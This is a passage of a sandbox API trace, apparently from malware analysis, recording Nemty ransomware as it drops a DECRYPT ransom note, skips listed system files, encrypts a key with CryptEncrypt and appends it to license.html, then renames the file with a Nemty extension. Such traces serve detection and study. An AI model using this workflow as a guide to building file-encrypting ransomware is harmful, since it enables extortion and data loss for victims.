Flags=0x0, Size=0xee) returned 0x63400f0 [0172.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.797] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.797] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.798] CloseHandle (hObject=0x254) returned 1 [0172.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.798] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1aa24230, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aa24230, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.798] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.798] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1aa24230, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aa24230, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.798] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.798] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.798] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.798] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.798] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.798] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.798] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.798] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.798] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.799] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.800] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe94c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.800] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.801] Sleep (dwMilliseconds=0x5) [0172.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aa704f0, dwHighDateTime=0x1d561e8)) [0172.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aa704f0, dwHighDateTime=0x1d561e8)) [0172.815] GetLastError () returned 0xb7 [0172.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.815] GetLastError () returned 0xb7 [0172.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.815] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.815] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.815] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.815] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="dueI7pv0ENreM/vd/dbzeunBjIYeMfjHL0vPxRih05AmcpOQGRr9NPvG0fLP30JD\r\nYX0EiNbc0il1yL2L+UTwYhb2N4OCWHje+QHizINvvkMPc1rKpRlzxyBxatjfDXxv\r\nw61hJ6LceMOLkwrYn634oyYE4m1Ss58B/AhJA+iabvaRIYtpE4jsjxuYx98HgxwJ\r\nBIl4Tfo788+ZAhaRo4R032OmHVMmVIVFO+1FmfOpTML/sHyqH1sL15vnk+aNAvjU\r\ni2OJKV0oCjY4ySqew6eZmNB/SV/Jch9zpDMIPc5T9f6iDjOre1us/+pTveDE4jVQ\r\nO2fpAcZhiiyUXwxIrHEVBA==\r\n", pcchString=0x653e5dc) returned 1 [0172.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.815] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.816] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=59724) returned 1 [0172.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe940) returned 0x6352c48 [0172.816] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.816] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xe940, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xe940, lpOverlapped=0x0) returned 1 [0172.821] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.821] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xe940, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xe940, lpOverlapped=0x0) returned 1 [0172.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.821] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=59724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe94c [0172.821] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.822] CloseHandle (hObject=0x3b0) returned 1 [0172.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.822] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html._nemty_kgobjgd_")) returned 1 [0172.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.823] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aa24230, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1aa24230, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aa24230, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.823] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 